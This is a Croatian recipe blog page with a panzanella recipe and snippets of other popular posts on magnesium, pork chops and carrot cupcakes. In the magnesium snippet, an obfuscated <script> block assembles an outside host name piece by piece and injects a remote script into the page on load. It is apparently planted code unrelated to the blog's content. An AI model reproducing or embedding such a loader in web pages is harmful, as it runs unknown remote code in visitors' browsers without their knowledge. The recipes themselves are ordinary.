PANZANELLA - STARI KRUH I ZRELE RAJČICE 🍅 🍞




Panzanella - stari kruh i zrele rajčice 



Neki recepti nastanu iz potrebe, a onda postanu dio tradicije. Panzanella je upravo jedan od njih. U toskanskim kućama se priprema od onoga što gotovo svatko ima pri ruci: nekoliko zrelih rajčica, komad kruha od prethodnog dana i malo maslinova ulja. Ono što je nekada bio način da se ništa ne baci, danas je jedno od najpoznatijih ljetnih jela talijanske kuhinje. Jednostavno je, osvježavajuće i savršeno za dane kada vam se ne da provoditi vrijeme uz štednjak.





Panzanella 


Sastojci:

  • 3 velike, potpuno zrele rajčice
  • nekoliko šnita starog rustikalnog ili bijelog kruha
  • 1 manji ljubičasti luk
  • 1 svježi krastavac
  • šaka svježeg bosiljka
  • kvalitetno maslinovo ulje
  • malo vinskog ili jabučnog octa
  • sol i svježe mljeveni papar



Priprema:

Kruh narežite ili natrgajte na veće komade i stavite u veliku zdjelu.
Ako je vrlo tvrd, dovoljno ga je lagano poprskati vodom kako bi malo omekšao.
 
Rajčice narežite na veće komade i odmah ih posolite. Za nekoliko minuta pustit će puno soka koji će se pomiješati s maslinovim uljem i octom te postati prirodni preljev za cijelo jelo.
 
Dodajte tanko narezan ljubičasti luk, krastavac i svježe listove bosiljka. Sve prelijte maslinovim uljem, dodajte malo octa i lagano promiješajte.
 
Najbolji okus dobit ćete ako salatu ostavite desetak do petnaest minuta prije posluživanja. Za to će vrijeme kruh upiti sve okuse, a sastojci će se savršeno povezati.
 
Ako imate pri ruci mozzarellu ili burratu, dodajte je neposredno prije posluživanja. Nekoliko maslina ili kapara također će dati dodatnu mediteransku notu, ali i bez njih panzanella ostaje jedno od onih jela koja dokazuju da za odličnu večeru nije potrebno mnogo sastojaka.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više